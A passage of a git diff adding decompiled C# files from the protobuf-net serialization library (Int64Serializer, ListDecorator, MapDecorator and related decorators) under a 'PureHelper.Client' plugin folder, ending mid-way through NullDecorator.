b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int64Serializer.cs new file mode 100644 index 0000000..ca8d3dc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/Int64Serializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class Int64Serializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(long); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public Int64Serializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadInt64(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteInt64((long)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteInt64", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadInt64", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ListDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ListDecorator.cs new file mode 100644 index 0000000..45b06d5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ListDecorator.cs @@ -0,0 +1,520 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal class ListDecorator : ProtoDecoratorBase +{ + private readonly byte options; + + private const byte OPTIONS_IsList = 1; + + private const byte OPTIONS_SuppressIList = 2; + + private const byte OPTIONS_WritePacked = 4; + + private const byte OPTIONS_ReturnList = 8; + + private const byte OPTIONS_OverwriteList = 16; + + private const byte OPTIONS_SupportNull = 32; + + private readonly Type declaredType; + + private readonly Type concreteType; + + private readonly MethodInfo add; + + private readonly int fieldNumber; + + protected readonly WireType packedWireType; + + private static readonly Type ienumeratorType = typeof(IEnumerator); + + private static readonly Type ienumerableType = typeof(IEnumerable); + + private bool IsList => (options & 1) != 0; + + private bool SuppressIList => (options & 2) != 0; + + private bool WritePacked => (options & 4) != 0; + + private bool SupportNull => (options & 0x20) != 0; + + private bool ReturnList => (options & 8) != 0; + + protected virtual bool RequireAdd => true; + + public override Type ExpectedType => declaredType; + + public override bool RequiresOldValue => AppendToCollection; + + public override bool ReturnsValue => ReturnList; + + protected bool AppendToCollection => (options & 0x10) == 0; + + internal static bool CanPack(WireType wireType) + { + if ((uint)wireType <= 1u || wireType == WireType.Fixed32 || wireType == WireType.SignedVariant) + { + return true; + } + return false; + } + + internal static ListDecorator Create(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull) + { + if (returnList && ImmutableCollectionDecorator.IdentifyImmutable(model, declaredType, out var builderFactory, out var isEmpty, out var length, out var methodInfo, out var addRange, out var finish)) + { + return new ImmutableCollectionDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull, builderFactory, isEmpty, length, methodInfo, addRange, finish); + } + return new ListDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull); + } + + protected ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull) + : base(tail) + { + if (returnList) + { + options |= 8; + } + if (overwriteList) + { + options |= 16; + } + if (supportNull) + { + options |= 32; + } + if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if (!CanPack(packedWireType)) + { + if (writePacked) + { + throw new InvalidOperationException("Only simple data-types can use packed encoding"); + } + packedWireType = WireType.None; + } + this.fieldNumber = fieldNumber; + if (writePacked) + { + options |= 4; + } + this.packedWireType = packedWireType; + if ((object)declaredType == null) + { + throw new ArgumentNullException("declaredType"); + } + if (declaredType.IsArray) + { + throw new ArgumentException("Cannot treat arrays as lists", "declaredType"); + } + this.declaredType = declaredType; + this.concreteType = concreteType; + if (!RequireAdd) + { + return; + } + add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out var isList); + if (isList) + { + options |= 1; + string fullName = declaredType.FullName; + if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[[")) + { + options |= 2; + } + } + if ((object)add == null) + { + throw new InvalidOperationException("Unable to resolve a suitable Add method for " + declaredType.FullName); + } + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + bool returnList = ReturnList; + using Local local = (AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Local(ctx, declaredType)); + using Local local2 = ((returnList && AppendToCollection && !Helpers.IsValueType(ExpectedType)) ? new Local(ctx, ExpectedType) : null); + if (!AppendToCollection) + { + ctx.LoadNullRef(); + ctx.StoreValue(local); + } + else if (returnList && local2 != null) + { + ctx.LoadValue(local); + ctx.StoreValue(local2); + } + if ((object)concreteType != null) + { + ctx.LoadValue(local); + CodeLabel label = ctx.DefineLabel(); + ctx.BranchIfTrue(label, @short: true); + ctx.EmitCtor(concreteType); + ctx.StoreValue(local); + ctx.MarkLabel(label); + } + bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType); + EmitReadList(ctx, local, Tail, add, packedWireType, castListForAdd); + if (returnList) + { + if (AppendToCollection && local2 != null) + { + ctx.LoadValue(local2); + ctx.LoadValue(local); + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.BranchIfEqual(label2, @short: true); + ctx.LoadValue(local); + ctx.Branch(label3, @short: true); + ctx.MarkLabel(label2); + ctx.LoadNullRef(); + ctx.MarkLabel(label3); + } + else + { + ctx.LoadValue(local); + } + } + } + + internal static void EmitReadList(CompilerContext ctx, Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd) + { + using Local local = new Local(ctx, ctx.MapType(typeof(int))); + CodeLabel label = ((packedWireType == WireType.None) ? default(CodeLabel) : ctx.DefineLabel()); + if (packedWireType != WireType.None) + { + ctx.LoadReaderWriter(); + ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType")); + ctx.LoadValue(2); + ctx.BranchIfEqual(label, @short: false); + } + ctx.LoadReaderWriter(); + ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber")); + ctx.StoreValue(local); + CodeLabel label2 = ctx.DefineLabel(); + ctx.MarkLabel(label2); + EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); + ctx.LoadReaderWriter(); + ctx.LoadValue(local); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader")); + ctx.BranchIfTrue(label2, @short: false); + if (packedWireType != WireType.None) + { + CodeLabel label3 = ctx.DefineLabel(); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(label); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); + CodeLabel label4 = ctx.DefineLabel(); + CodeLabel label5 = ctx.DefineLabel(); + ctx.MarkLabel(label4); + ctx.LoadValue((int)packedWireType); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue")); + ctx.BranchIfFalse(label5, @short: false); + EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); + ctx.Branch(label4, @short: false); + ctx.MarkLabel(label5); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); + ctx.MarkLabel(label3); + } + } + + private static void EmitReadAndAddItem(CompilerContext ctx, Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd) + { + ctx.LoadAddress(list, list.Type); + if (castListForAdd) + { + ctx.Cast(add.DeclaringType); + } + Type expectedType = tail.ExpectedType; + bool returnsValue = tail.ReturnsValue; + if (tail.RequiresOldValue) + { + if (Helpers.IsValueType(expectedType) || !returnsValue) + { + using Local local = new Local(ctx, expectedType); + if (Helpers.IsValueType(expectedType)) + { + ctx.LoadAddress(local, expectedType); + ctx.EmitCtor(expectedType); + } + else + { + ctx.LoadNullRef(); + ctx.StoreValue(local); + } + tail.EmitRead(ctx, local); + if (!returnsValue) + { + ctx.LoadValue(local); + } + } + else + { + ctx.LoadNullRef(); + tail.EmitRead(ctx, null); + } + } + else + { + if (!returnsValue) + { + throw new InvalidOperationException(); + } + tail.EmitRead(ctx, null); + } + Type parameterType = add.GetParameters()[0].ParameterType; + if ((object)parameterType != expectedType) + { + if ((object)parameterType == ctx.MapType(typeof(object))) + { + ctx.CastToObject(expectedType); + } + else + { + if ((object)Helpers.GetUnderlyingType(parameterType) != expectedType) + { + throw new InvalidOperationException("Conflicting item/add type"); + } + ConstructorInfo constructor = Helpers.GetConstructor(parameterType, new Type[1] { expectedType }, nonPublic: false); + ctx.EmitCtor(constructor); + } + } + ctx.EmitCall(add, list.Type); + if ((object)add.ReturnType != ctx.MapType(typeof(void))) + { + ctx.DiscardValue(); + } + } + + protected MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current) + { + return GetEnumeratorInfo(model, ExpectedType, Tail.ExpectedType, out moveNext, out current); + } + + internal static MethodInfo GetEnumeratorInfo(TypeModel model, Type expectedType, Type itemType, out MethodInfo moveNext, out MethodInfo current) + { + Type type = null; + MethodInfo instanceMethod = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null); + Type type2 = null; + Type type3; + if ((object)instanceMethod != null) + { + type2 = instanceMethod.ReturnType; + type3 = type2; + moveNext = Helpers.GetInstanceMethod(type3, "MoveNext", null); + PropertyInfo property = Helpers.GetProperty(type3, "Current", nonPublic: false); + current = (((object)property == null) ? null : Helpers.GetGetMethod(property, nonPublic: false, allowInternal: false)); + if ((object)moveNext == null && model.MapType(ienumeratorType).IsAssignableFrom(type3)) + { + moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null); + } + if ((object)moveNext != null && (object)moveNext.ReturnType == model.MapType(typeof(bool)) && (object)current != null && (object)current.ReturnType == itemType) + { + return instanceMethod; + } + moveNext = (current = (instanceMethod = null)); + } + Type type4 = model.MapType(typeof(IEnumerable<>), demand: false); + if ((object)type4 != null) + { + type4 = type4.MakeGenericType(itemType); + type = type4; + } + if ((object)type != null && type.IsAssignableFrom(expectedType)) + { + instanceMethod = Helpers.GetInstanceMethod(type, "GetEnumerator"); + type2 = instanceMethod.ReturnType; + type3 = type2; + moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext"); + current = Helpers.GetGetMethod(Helpers.GetProperty(type3, "Current", nonPublic: false), nonPublic: false, allowInternal: false); + return instanceMethod; + } + type = model.MapType(ienumerableType); + instanceMethod = Helpers.GetInstanceMethod(type, "GetEnumerator"); + type2 = instanceMethod.ReturnType; + type3 = type2; + moveNext = Helpers.GetInstanceMethod(type3, "MoveNext"); + current = Helpers.GetGetMethod(Helpers.GetProperty(type3, "Current", nonPublic: false), nonPublic: false, allowInternal: false); + return instanceMethod; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + MethodInfo moveNext; + MethodInfo current; + MethodInfo enumeratorInfo = GetEnumeratorInfo(ctx.Model, out moveNext, out current); + Type returnType = enumeratorInfo.ReturnType; + bool writePacked = WritePacked; + using Local local2 = new Local(ctx, returnType); + using Local local3 = (writePacked ? new Local(ctx, ctx.MapType(typeof(SubItemToken))) : null); + if (writePacked) + { + ctx.LoadValue(fieldNumber); + ctx.LoadValue(2); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); + ctx.LoadValue(local); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); + ctx.StoreValue(local3); + ctx.LoadValue(fieldNumber); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField")); + } + ctx.LoadAddress(local, ExpectedType); + ctx.EmitCall(enumeratorInfo, ExpectedType); + ctx.StoreValue(local2); + using (ctx.Using(local2)) + { + CodeLabel label = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + ctx.Branch(label2, @short: false); + ctx.MarkLabel(label); + ctx.LoadAddress(local2, returnType); + ctx.EmitCall(current, returnType); + Type expectedType = Tail.ExpectedType; + if ((object)expectedType != ctx.MapType(typeof(object)) && (object)current.ReturnType == ctx.MapType(typeof(object))) + { + ctx.CastFromObject(expectedType); + } + Tail.EmitWrite(ctx, null); + ctx.MarkLabel(label2); + ctx.LoadAddress(local2, returnType); + ctx.EmitCall(moveNext, returnType); + ctx.BranchIfTrue(label, @short: false); + } + if (writePacked) + { + ctx.LoadValue(local3); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); + } + } + + public override void Write(object value, ProtoWriter dest) + { + bool writePacked = WritePacked; + bool flag = (writePacked & CanUsePackedPrefix(value)) && value is ICollection; + SubItemToken token; + if (writePacked) + { + ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); + if (flag) + { + ProtoWriter.WritePackedPrefix(((ICollection)value).Count, packedWireType, dest); + token = default(SubItemToken); + } + else + { + token = ProtoWriter.StartSubItem(value, dest); + } + ProtoWriter.SetPackedField(fieldNumber, dest); + } + else + { + token = default(SubItemToken); + } + bool flag2 = !SupportNull; + foreach (object item in (IEnumerable)value) + { + if (flag2 && item == null) + { + throw new NullReferenceException(); + } + Tail.Write(item, dest); + } + if (writePacked) + { + if (flag) + { + ProtoWriter.ClearPackedField(fieldNumber, dest); + } + else + { + ProtoWriter.EndSubItem(token, dest); + } + } + } + + private bool CanUsePackedPrefix(object obj) + { + return ArrayDecorator.CanUsePackedPrefix(packedWireType, Tail.ExpectedType); + } + + public override object Read(object value, ProtoReader source) + { + try + { + int field = source.FieldNumber; + object obj = value; + if (value == null) + { + value = Activator.CreateInstance(concreteType); + } + bool flag = IsList && !SuppressIList; + if (packedWireType != WireType.None && source.WireType == WireType.String) + { + SubItemToken token = ProtoReader.StartSubItem(source); + if (flag) + { + IList list = (IList)value; + while (ProtoReader.HasSubValue(packedWireType, source)) + { + list.Add(Tail.Read(null, source)); + } + } + else + { + object[] array = new object[1]; + while (ProtoReader.HasSubValue(packedWireType, source)) + { + array[0] = Tail.Read(null, source); + add.Invoke(value, array); + } + } + ProtoReader.EndSubItem(token, source); + } + else if (flag) + { + IList list2 = (IList)value; + do + { + list2.Add(Tail.Read(null, source)); + } + while (source.TryReadFieldHeader(field)); + } + else + { + object[] array2 = new object[1]; + do + { + array2[0] = Tail.Read(null, source); + add.Invoke(value, array2); + } + while (source.TryReadFieldHeader(field)); + } + return (obj == value) ? null : value; + } + catch (TargetInvocationException ex) + { + if (ex.InnerException != null) + { + throw ex.InnerException; + } + throw; + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MapDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MapDecorator.cs new file mode 100644 index 0000000..dc8a7aa --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MapDecorator.cs @@ -0,0 +1,269 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal class MapDecorator : ProtoDecoratorBase where TDictionary : class, IDictionary +{ + private readonly Type concreteType; + + private readonly IProtoSerializer keyTail; + + private readonly int fieldNumber; + + private readonly WireType wireType; + + private static readonly MethodInfo indexerSet = GetIndexerSetter(); + + private static readonly TKey DefaultKey = (((object)typeof(TKey) == typeof(string)) ? ((TKey)(object)"") : default(TKey)); + + private static readonly TValue DefaultValue = (((object)typeof(TValue) == typeof(string)) ? ((TValue)(object)"") : default(TValue)); + + public override Type ExpectedType => typeof(TDictionary); + + public override bool ReturnsValue => true; + + public override bool RequiresOldValue => AppendToCollection; + + private bool AppendToCollection { get; } + + internal MapDecorator(TypeModel model, Type concreteType, IProtoSerializer keyTail, IProtoSerializer valueTail, int fieldNumber, WireType wireType, WireType keyWireType, WireType valueWireType, bool overwriteList) + : base((DefaultValue == null) ? ((ProtoDecoratorBase)new TagDecorator(2, valueWireType, strict: false, valueTail)) : ((ProtoDecoratorBase)new DefaultValueDecorator(model, DefaultValue, new TagDecorator(2, valueWireType, strict: false, valueTail)))) + { + this.wireType = wireType; + this.keyTail = new DefaultValueDecorator(model, DefaultKey, new TagDecorator(1, keyWireType, strict: false, keyTail)); + this.fieldNumber = fieldNumber; + this.concreteType = concreteType ?? typeof(TDictionary); + if (keyTail.RequiresOldValue) + { + throw new InvalidOperationException("Key tail should not require the old value"); + } + if (!keyTail.ReturnsValue) + { + throw new InvalidOperationException("Key tail should return a value"); + } + if (!valueTail.ReturnsValue) + { + throw new InvalidOperationException("Value tail should return a value"); + } + AppendToCollection = !overwriteList; + } + + private static MethodInfo GetIndexerSetter() + { + PropertyInfo[] properties = typeof(TDictionary).GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + foreach (PropertyInfo propertyInfo in properties) + { + if (propertyInfo.Name != "Item" || (object)propertyInfo.PropertyType != typeof(TValue)) + { + continue; + } + ParameterInfo[] indexParameters = propertyInfo.GetIndexParameters(); + if (indexParameters != null && indexParameters.Length == 1 && (object)indexParameters[0].ParameterType == typeof(TKey)) + { + MethodInfo setMethod = propertyInfo.GetSetMethod(nonPublic: true); + if ((object)setMethod != null) + { + return setMethod; + } + } + } + throw new InvalidOperationException("Unable to resolve indexer for map"); + } + + public override object Read(object untyped, ProtoReader source) + { + TDictionary val = (AppendToCollection ? ((TDictionary)untyped) : null); + if (val == null) + { + val = (TDictionary)Activator.CreateInstance(concreteType); + } + do + { + TKey key = DefaultKey; + TValue val2 = DefaultValue; + SubItemToken token = ProtoReader.StartSubItem(source); + int num; + while ((num = source.ReadFieldHeader()) > 0) + { + switch (num) + { + case 1: + key = (TKey)keyTail.Read(null, source); + break; + case 2: + val2 = (TValue)Tail.Read(Tail.RequiresOldValue ? ((object)val2) : null, source); + break; + default: + source.SkipField(); + break; + } + } + ProtoReader.EndSubItem(token, source); + val[key] = val2; + } + while (source.TryReadFieldHeader(fieldNumber)); + return val; + } + + public override void Write(object untyped, ProtoWriter dest) + { + foreach (KeyValuePair item in (TDictionary)untyped) + { + ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest); + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + if (item.Key != null) + { + keyTail.Write(item.Key, dest); + } + if (item.Value != null) + { + Tail.Write(item.Value, dest); + } + ProtoWriter.EndSubItem(token, dest); + } + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + Type typeFromHandle = typeof(KeyValuePair); + MethodInfo moveNext; + MethodInfo current; + MethodInfo enumeratorInfo = ListDecorator.GetEnumeratorInfo(ctx.Model, ExpectedType, typeFromHandle, out moveNext, out current); + Type returnType = enumeratorInfo.ReturnType; + MethodInfo getMethod = typeFromHandle.GetProperty("Key").GetGetMethod(); + MethodInfo getMethod2 = typeFromHandle.GetProperty("Value").GetGetMethod(); + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + using Local local2 = new Local(ctx, returnType); + using Local local3 = new Local(ctx, typeof(SubItemToken)); + using Local local4 = new Local(ctx, typeFromHandle); + ctx.LoadAddress(local, ExpectedType); + ctx.EmitCall(enumeratorInfo, ExpectedType); + ctx.StoreValue(local2); + using (ctx.Using(local2)) + { + CodeLabel label = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + ctx.Branch(label2, @short: false); + ctx.MarkLabel(label); + ctx.LoadAddress(local2, returnType); + ctx.EmitCall(current, returnType); + if ((object)typeFromHandle != ctx.MapType(typeof(object)) && (object)current.ReturnType == ctx.MapType(typeof(object))) + { + ctx.CastFromObject(typeFromHandle); + } + ctx.StoreValue(local4); + ctx.LoadValue(fieldNumber); + ctx.LoadValue((int)wireType); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); + ctx.LoadNullRef(); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); + ctx.StoreValue(local3); + ctx.LoadAddress(local4, typeFromHandle); + ctx.EmitCall(getMethod, typeFromHandle); + ctx.WriteNullCheckedTail(typeof(TKey), keyTail, null); + ctx.LoadAddress(local4, typeFromHandle); + ctx.EmitCall(getMethod2, typeFromHandle); + ctx.WriteNullCheckedTail(typeof(TValue), Tail, null); + ctx.LoadValue(local3); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); + ctx.MarkLabel(label2); + ctx.LoadAddress(local2, returnType); + ctx.EmitCall(moveNext, returnType); + ctx.BranchIfTrue(label, @short: false); + } + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + using Local local = (AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Local(ctx, typeof(TDictionary))); + using Local local2 = new Local(ctx, typeof(SubItemToken)); + using Local local3 = new Local(ctx, typeof(TKey)); + using Local local4 = new Local(ctx, typeof(TValue)); + using Local local5 = new Local(ctx, ctx.MapType(typeof(int))); + if (!AppendToCollection) + { + ctx.LoadNullRef(); + ctx.StoreValue(local); + } + if ((object)concreteType != null) + { + ctx.LoadValue(local); + CodeLabel label = ctx.DefineLabel(); + ctx.BranchIfTrue(label, @short: true); + ctx.EmitCtor(concreteType); + ctx.StoreValue(local); + ctx.MarkLabel(label); + } + CodeLabel label2 = ctx.DefineLabel(); + ctx.MarkLabel(label2); + if ((object)typeof(TKey) == typeof(string)) + { + ctx.LoadValue(""); + ctx.StoreValue(local3); + } + else + { + ctx.InitLocal(typeof(TKey), local3); + } + if ((object)typeof(TValue) == typeof(string)) + { + ctx.LoadValue(""); + ctx.StoreValue(local4); + } + else + { + ctx.InitLocal(typeof(TValue), local4); + } + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); + ctx.StoreValue(local2); + CodeLabel label3 = ctx.DefineLabel(); + CodeLabel label4 = ctx.DefineLabel(); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(label4); + ctx.LoadValue(local5); + CodeLabel codeLabel = ctx.DefineLabel(); + CodeLabel codeLabel2 = ctx.DefineLabel(); + CodeLabel codeLabel3 = ctx.DefineLabel(); + ctx.Switch(new CodeLabel[3] { codeLabel, codeLabel2, codeLabel3 }); + ctx.MarkLabel(codeLabel); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(codeLabel2); + keyTail.EmitRead(ctx, null); + ctx.StoreValue(local3); + ctx.Branch(label3, @short: false); + ctx.MarkLabel(codeLabel3); + Tail.EmitRead(ctx, Tail.RequiresOldValue ? local4 : null); + ctx.StoreValue(local4); + ctx.MarkLabel(label3); + ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); + ctx.CopyValue(); + ctx.StoreValue(local5); + ctx.LoadValue(0); + ctx.BranchIfGreater(label4, @short: false); + ctx.LoadValue(local2); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(local3); + ctx.LoadValue(local4); + ctx.EmitCall(indexerSet); + ctx.LoadReaderWriter(); + ctx.LoadValue(fieldNumber); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader")); + ctx.BranchIfTrue(label2, @short: false); + if (ReturnsValue) + { + ctx.LoadValue(local); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MemberSpecifiedDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MemberSpecifiedDecorator.cs new file mode 100644 index 0000000..1dda38c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/MemberSpecifiedDecorator.cs @@ -0,0 +1,77 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; + +namespace ProtoBuf.Serializers; + +internal sealed class MemberSpecifiedDecorator : ProtoDecoratorBase +{ + private readonly MethodInfo getSpecified; + + private readonly MethodInfo setSpecified; + + public override Type ExpectedType => Tail.ExpectedType; + + public override bool RequiresOldValue => Tail.RequiresOldValue; + + public override bool ReturnsValue => Tail.ReturnsValue; + + public MemberSpecifiedDecorator(MethodInfo getSpecified, MethodInfo setSpecified, IProtoSerializer tail) + : base(tail) + { + if ((object)getSpecified == null && (object)setSpecified == null) + { + throw new InvalidOperationException(); + } + this.getSpecified = getSpecified; + this.setSpecified = setSpecified; + } + + public override void Write(object value, ProtoWriter dest) + { + if ((object)getSpecified == null || (bool)getSpecified.Invoke(value, null)) + { + Tail.Write(value, dest); + } + } + + public override object Read(object value, ProtoReader source) + { + object result = Tail.Read(value, source); + if ((object)setSpecified != null) + { + setSpecified.Invoke(value, new object[1] { true }); + } + return result; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + if ((object)getSpecified == null) + { + Tail.EmitWrite(ctx, valueFrom); + return; + } + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + ctx.LoadAddress(local, ExpectedType); + ctx.EmitCall(getSpecified); + CodeLabel label = ctx.DefineLabel(); + ctx.BranchIfFalse(label, @short: false); + Tail.EmitWrite(ctx, local); + ctx.MarkLabel(label); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + if ((object)setSpecified == null) + { + Tail.EmitRead(ctx, valueFrom); + return; + } + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + Tail.EmitRead(ctx, local); + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(1); + ctx.EmitCall(setSpecified); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NetObjectSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NetObjectSerializer.cs new file mode 100644 index 0000000..d77abdf --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NetObjectSerializer.cs @@ -0,0 +1,67 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class NetObjectSerializer : IProtoSerializer +{ + private readonly int key; + + private readonly Type type; + + private readonly BclHelpers.NetObjectOptions options; + + public Type ExpectedType => type; + + public bool ReturnsValue => true; + + public bool RequiresOldValue => true; + + public NetObjectSerializer(TypeModel model, Type type, int key, BclHelpers.NetObjectOptions options) + { + bool flag = (options & BclHelpers.NetObjectOptions.DynamicType) != 0; + this.key = (flag ? (-1) : key); + this.type = (flag ? model.MapType(typeof(object)) : type); + this.options = options; + } + + public object Read(object value, ProtoReader source) + { + return BclHelpers.ReadNetObject(value, source, key, ((object)type == typeof(object)) ? null : type, options); + } + + public void Write(object value, ProtoWriter dest) + { + BclHelpers.WriteNetObject(value, dest, key, options); + } + + public void EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.LoadValue(valueFrom); + ctx.CastToObject(type); + ctx.LoadReaderWriter(); + ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); + if ((object)type == ctx.MapType(typeof(object))) + { + ctx.LoadNullRef(); + } + else + { + ctx.LoadValue(type); + } + ctx.LoadValue((int)options); + ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("ReadNetObject")); + ctx.CastFromObject(type); + } + + public void EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadValue(valueFrom); + ctx.CastToObject(type); + ctx.LoadReaderWriter(); + ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); + ctx.LoadValue((int)options); + ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("WriteNetObject")); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NullDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NullDecorator.cs new file mode 100644 index 0000000..1bba667 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/NullDecorator.cs @@ -0,0 +1,150 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class NullDecorator : ProtoDecoratorBase +{ + private readonly Type expectedType; + + public const int Tag = 1; + + public override Type ExpectedType => expectedType; + + public override bool ReturnsValue => true; + + public override bool RequiresOldValue => true; + + public NullDecorator(TypeModel model, IProtoSerializer tail) + : base(tail) + { + if (!tail.ReturnsValue) + { + throw new NotSupportedException("NullDecorator only supports implementations that return values"); + } + Type type = tail.ExpectedType; + if (Helpers.IsValueType(type)) + { + expectedType = model.MapType(typeof(Nullable<>)).MakeGenericType(type); + } + else + { + expectedType = type; + } + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(expectedType, valueFrom); + using Local local2 = new Local(ctx, ctx.MapType(typeof(SubItemToken))); + using Local local3 = 